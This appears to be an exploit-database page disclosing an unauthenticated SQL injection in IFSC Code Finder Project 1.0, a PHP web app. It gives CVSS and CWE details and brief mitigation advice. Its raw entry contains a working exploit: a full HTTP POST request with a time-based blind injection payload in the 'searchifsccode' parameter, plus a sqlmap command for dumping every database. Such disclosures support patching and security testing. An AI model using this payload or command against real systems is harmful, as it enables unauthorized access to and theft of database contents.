header-logo
Suggest Exploit
vendor:
IFSC Code Finder Project using PHP
by:
Yash Mahajan
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: IFSC Code Finder Project using PHP
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE:
CPE: a:phpgurukul:ifsc_code_finder_project_using_php
Metasploit:
Other Scripts:
Platforms Tested: Windows 10, XAMPP
2021

IFSC Code Finder Project 1.0 – SQL injection (Unauthenticated)

IFSC Code Finder Project 1.0 is vulnerable to unauthenticated SQL injection. An attacker can send a specially crafted request to the application to inject malicious SQL queries into the application. By sending a specially crafted request to the application, an attacker can inject malicious SQL queries into the application and retrieve all databases using sqlmap command.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries. Parameterized queries should be used to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Title: IFSC Code Finder Project 1.0 - SQL injection (Unauthenticated)
# Exploit Author: Yash Mahajan 
# Date: 2021-10-07
# Vendor Homepage: https://phpgurukul.com/ifsc-code-finder-project-using-php/
# Version: 1
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=14478
# Tested On: Windows 10, XAMPP 
# Vulnerable Parameter: searchifsccode 

Steps to Reproduce:

1) Navigate to http://127.0.0.1/ifscfinder/ enter any number in search field and capture request in burpsuite.
2) Paste below request into burp repeater and also create a txt file and paste this request.

Request:
========
POST /ifscfinder/search.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/ifscfinder/
Cookie: PHPSESSID=5877lg2kv4vm0n5sb8e1eb0d0k
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

searchifsccode=')+AND+(SELECT+3757+FROM+(SELECT(SLEEP(20)))lygy)--+fvnT&search=

--------------------------------------------------------------------------------
3) You will see a time delay of 20 Sec in response.
4) python sqlmap.py -r request.txt -p searchifsccode --dbs
5) We can retrieve all databases using above sqlmap command